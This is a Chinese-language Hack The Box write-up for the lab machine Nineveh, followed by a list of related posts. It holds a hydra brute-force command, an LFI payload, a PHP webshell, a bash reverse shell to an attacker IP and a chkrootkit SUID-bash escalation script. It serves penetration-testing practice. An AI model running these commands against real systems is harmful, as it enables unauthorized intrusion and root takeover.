HTB-Nineveh

  • 信息收集
    • 80端口
    • 443端口
    • 80端口-新
    • 443端口-新
  • 立足
  • www-data -> amrois
  • amrois -> root
  • 其他有意思的地方
    • knock knock - Who's there?
    • socket type

信息收集


80端口


目录扫描

/info.php目录

443端口

目录扫描


这完全没头绪,估计是信息收集漏了东西,重新来一遍。

80端口-新

哈,我就知道。

当我输入admin会发现抱错变成了密码不可用,说明admin用户存在。


没有任何提示,尝试一下hydra的暴力破解。


443端口-新

多了张图片secure_notes

对443登录进行hydra暴力破解,hydra -l aster -P /usr/share/wordlists/rockyou.txt 10.10.10.43 -s 443 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:F=Incorrect password." -v -t 64

这有一篇利用的文章,大致类容就是我们可以通过创建一个php后缀的数据库文件并插入php代码实现php代码执行。根据描述来做一遍,首先创建一个新数据库。

接着创建一个表,字段选一个。

然后输入字段名,类型为TEXT,默认值为<?php phpinfo()?>

最后一步,需要我们运行它,但我们怎么运行它。创建完后可以返回查看更多信息。

比如数据库名,数据库路径,但是目前没有找到地方可以运行。

对两个端口分别做一次目录扫描看看。结果没有任何帮助,再次回头看80端口的department目录时候发现了引用notes的url路径有些可疑。

并且图片的路径也是。

怀疑可能存在LFI,测试输入ninevehNotes1.txt时出现了警告。

简单测试发现貌似url要包含files/ninevehNotes.txt才能够读取文件。

不包含就会这样。不会出现警告那些。

再次测试后更正前面的测试结果,url只需要包含files/ninevehNotes即可。

配合前面的数据库.php文件成功执行php代码。

现在有个问题如果我直接弄webshell,会遇到文件名长度限制。

所以需要优化一下LFI的payload,最终测试发现只用包含/ninevehNotes就可以,/ninevehNotes/../etc/passwd

立足

使用cmd=id,会发现目标把它当成文件名来处理了。

可以用/ninevehNotes/../var/tmp/aster.php&cmd=id来避开这个问题(建立webshell的时候用双引号来定义webshell的key,比如<?php system($_REQUEST["cmd"]);?>,单引号会被转义导致webshell不可用)。

与运算符"&"会被当做浏览器参数所以需要url编码,bash -c "bash -i >%26 /dev/tcp/10.10.14.31/443 0>%261"

www-data -> amrois

收集半天信息没有任何收获,只有在/var/www/ssl/secure_notes目录下有两个文件。

还有一个挑战。

所有线索都指向这张图片,对其使用strings发现了ssh的私钥以及公钥。

但是无法使用其登录amrois用户。binwalk表示nineveh.png还暗藏玄机。

加上-e参数分离。

又有许多东西,好好整理一下。

secret目录内的两个文件就是前面strings的ssh公钥私钥。

还有两个文件54和54.zlib暂时没有用处。在目标上查看进程发现了一个knockd。

knock是一个用来隐藏SSH的程序,客户端向服务端发送暗号对应上后才会从防火墙打开SSH服务器,断开后又会有新的暗号。查看一下knock的配置文件/etc/knockd.conf

openSSH中的序列就是暗号,也就是序列中的那几个号码,暗号需要按照序列的顺序来核对。那么我们怎么敲门呢?先做个实验,直接nmap对方22端口显示被过滤。

这时候我们开始敲门对暗号:knock 10.10.10.43 571 290 911

这时候目标已经对我们敞开了大门(要想关闭的话反过来敲一次即可)

amrois -> root

使用pspy查看时间任务的时候发现很忙的样子。

这一堆东西的结果似乎都指向了/report目录。

根据结果知道,可能那一堆东西在检查某些二进制程序是否收到感染、一些可能会有敏感日志的位置是否存在日志等。

但是这一分钟生成一次,文件大小还是27K,久而久之会很吃空间的,所以猜测可能root或者amrois会有一个时间任务来清理一次。


另外在pspy64跑出来的进程中中我还发现了chown amrois:amrois /report/report-23-04-27:06:14.txt

如果是amrois用户自己的时间任务为啥还要修改用户和用户组,可能是root,也可能是诱饵。里面还有两个经常使用的脚本。

  • /bin/bash /root/vulnScan.sh
  • /bin/sh /usr/bin/chkrootkit


/usr/bin/chkrootkit是一个检查rootkit的工具。当我使用bash尝试启动它时出现了Permission denied。

但是我用sh启动尝试启动它出现了/bin/sh: 0: Can’t open /usr/bin/chkrootkit。

对bash和sh进行检查发现,/bin/sh链接到dash。dash最主要的目的是为了执行脚本,语言语法没有其他shell多,但是它执行脚本快。dash和bash都没有权限执行chkrootkit。

是的,看起来似乎没有入口,似乎无懈可击。但是对chkrootkit进行exploit搜索会有两个结果。

条件都满足,唯一不确定的是chkrootkit的版本。

在tmp创建一个update,内容如下:

#!/bin/bash
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash


修改update权限为777后耐心等待。

其他有意思的地方

knock knock - Who’s there?

PS:(本人菜鸟一枚,可能错误地方非常之多,欢迎大家指出)
我很好奇knock是通过发送什么来与目标进行核对,tcp包?还是udp包?或者是其他有意思的玩意?
通过knock在/etc/knockd.conf配置文件中能看到它通过暗号后向防火墙添加规则的命令:start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
向防火墙插入一条规则(-I),允许(-j ACCEPT)成功匹配暗号的IP(-s %IP%)发送tcp的数据包(-p tcp)到本地的22端口(--dport)。由于没有找到knock的源码(可能我忽略了什么),所以用我仅有的能力去逆向并尝试找到knock的关键。

knock向目标敲门的时候会发送hitting,表示正在敲门。

最先开始创建套接字,地址族为ai_family,套接字类型为SOCK_DGRAM(基于UDP),使用缺省的连接方式连接。

然后进行判断是否socket成功。

接着在处理主机名和端口正确的情况下,根据我们选择TCP还是UDP。

v9会创建我们选择的TCP套接字或UDP套接字。经过对主机、口令验证检查后打印出来。接着就是调用connect函数进行TCP连接。通过socket对目标及端口进行knock。

发送完后就进行结束处理的环节,然后准备处理下一个暗号。

所以knock是通过向目标端口发送TCP/UDP包,目标的knock收到并做一些记录表示完成暗号配对。所以我们也可以通过nmap来向目标发送tcp包。
倒着敲门关闭大门后nmap对22端口的tcp包已被过滤。

对目标进行TCP发包nmap -Pn -p 571,290,911 10.10.10.43(-Pn 跳过发送ICMP包的过程,也就是默认目标存活),但nmap会帮我们按照端口大小顺序排序后发送TCP SYN包,所以不能用这种办法。

将重新发包次数设置为0后再次尝试。for port in {571,290,911};do nmap -Pn --max-retries 0 -p $port 10.10.10.43;done


不知道knock会不会对敲门的时间进行判断,以防万一还是加上--host-timeout参数for port in {571,290,911};do nmap -Pn --max-retries 0 --host-timeout 100 -p $port 10.10.10.43;done

但为什么nmap只用SYN包就能够完成一次TCP握手呢?首先大致看看TCP三次握手:

  1. 客户端第一次发送的SYN包给服务端表示来握手服务端收到
  2. 服务器收到后恢复ACK包给客户端表示可以,客户端收到后设置为单向和服务端连接
  3. 客户端向服务端发送SYN/ACK,服务端收到后设置为单向和客户端连接,此时TCP连接成功。

nmap 默认是SYN扫描,官方文档有写道。

而逆向所知道socket的类型是SOCK_STREAM ,是需要三次完全握手的,但如果我使用-sT全扫描,似乎knock并不接受三次握手。

至此,菜鸟的我对其分析结果如下:knock是以TCP SYN来对暗号,如果正确就返回ACK,不需要再次返回一次SYN/ACK,而只需要你问我答两次即可。

socket type

struct addrinfo结构体相关变量及其含义可以看看Stoneshen1211写的文章

enum sock_type {
SOCK_STREAM = 1,
SOCK_DGRAM = 2,
SOCK_RAW = 3,
SOCK_RDM = 4,
SOCK_SEQPACKET = 5,
SOCK_DCCP = 6,
SOCK_PACKET = 10,
};

HTB-Nineveh相关推荐

  1. HTB靶场系列 linux靶机 Nineveh靶机

    勘探 nmap勘探 nmap -sC -sV 10.10.10.43 Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-26 16:22 CST N ...

  2. HTB打靶日记:Nineveh

    信息收集: nmap -p- -sT --min-rate=10000 -Pn 10.129.26.243 nmap -p- -sU --min-rate=10000 -Pn 10.129.26.24 ...

  3. 手机流量共享 linux,linux – 通过HTB共享带宽和优先处理实时流量,哪种方案更好?...

    我想在我们的互联网线路上添加一些流量管理.在阅读了大量文档之后,我认为HFSC对我来说太复杂了(我不了解所有曲线的东西,我担心我永远不会把它弄好),CBQ不推荐,基本上HTB就是通往适合大多数人. 我 ...

  4. linux htb 源代码,LINUX TC:HTB相关源码

    LINUX TC:HTB相关源码 收藏 HTB(hierarchy token buffer)是linux tc(traffic control)模块中的排队队列的一种.它的配置比CBQ要简单.同时实 ...

  5. Linux 工具 | 第1篇:高级流控-TC+HTB+IFB+内核模块

    作者:isshe 日期:2018.09.19 邮箱:i.sshe@outlook.com github: https://github.com/isshe 高级流控-TC+HTB+IFB+内核模块 1 ...

  6. linux下TC+HTB流量控制

    C规则涉及到 队列(QUEUE) 分类器(CLASS) 过滤器(FILTER),filter划分的标志位可用U32或iptables的set-mark来实现 ) 一般是"控发"不控 ...

  7. HTB打靶(Active Directory 101 Mantis)

    namp扫描 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-02 03:40 EST Stats: 0:01:28 elapsed; 0 hos ...

  8. Linux TC 流量控制与排队规则 qdisc 树型结构详解(以HTB和RED为例)

    1. 背景 Linux 操作系统中的流量控制器 TC (Traffic Control) 用于Linux内核的流量控制,它规定建立处理数据包的队列,并定义队列中的数据包被发送的方式,从而实现对流量的控 ...

  9. 漏洞payload 靶机_【HTB系列】靶机Bitlab的渗透测试

    本文作者:是大方子(Ms08067实验室核心成员) ﹀ ﹀ ﹀ 0x00 本文目录 反思与总结 基本信息 渗透测试过程 补充 0x01 反思与总结 1. curl 发送GET参数化请求 2. 对反弹回 ...

  10. HTB打靶(Active Directory 101 Reel)

    nmap扫描目标 nmap -A -T4 10.10.10.77 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 01:30 EST Nma ...

最新文章

  1. Linux 高可用(HA)集群之keepalived+lvs
  2. MySQL 跨库分页/ 分表分页/ 跨库分页,为什么这么难?
  3. windows批量修改文件、文件夹名工具:Bulk Rename Utility批量改名演示
  4. Linq to SQL 下篇
  5. PostMessage与SendMessage
  6. Android App 瘦身总结 第二章 jni动态库及cpu兼容
  7. while语句的使用
  8. C语言中负数补码的方法,c语言里求负数补码的总结不足与优点.docx
  9. android线程改变布局,Android线程中设置控件的值提示报错的解决方法
  10. ISA2006之二---client
  11. Hbase对应的Hadoop兼容版本
  12. 拓端tecdat|使用R语言对进行地理空间数据可视化
  13. 母机修改了文件,虚拟机复制到的可能不是预期的
  14. clamav的unrar解压模块加载
  15. 许奔创新社-第21问:如何唤醒创造力?
  16. c语言如何计算中位数,如何计算中位数?
  17. hadoop-ResourceManager-HA配置
  18. 基于java的物流信息管理系统(计算机毕业设计)
  19. 如何简单快速的制作简历?
  20. 图学习中的链路预测任务(持续更新ing...)

热门文章

  1. 华为防火墙eudemon安全改造案例
  2. ASP.NET收银管理系统源码
  3. 基于Simulink搭建的汽车14自由度整车动力学模型,适用于研究各种工况下面的车辆动力学仿真,包含汽车侧倾行为
  4. AutoJs学习-自动筛选探探对象
  5. java 上传速度计算_java – 确定上传的传输速率
  6. 【Rust指南】use关键字妙用|模块内容拆分
  7. 详解城市大脑总体架构
  8. 【python数据分析】数据建模之 PCA主成分分析
  9. [记录] 关键字排列组合的规则查询(使用Mybatis或者MySQL正则)
  10. 三坐标检测之校验测针注意事项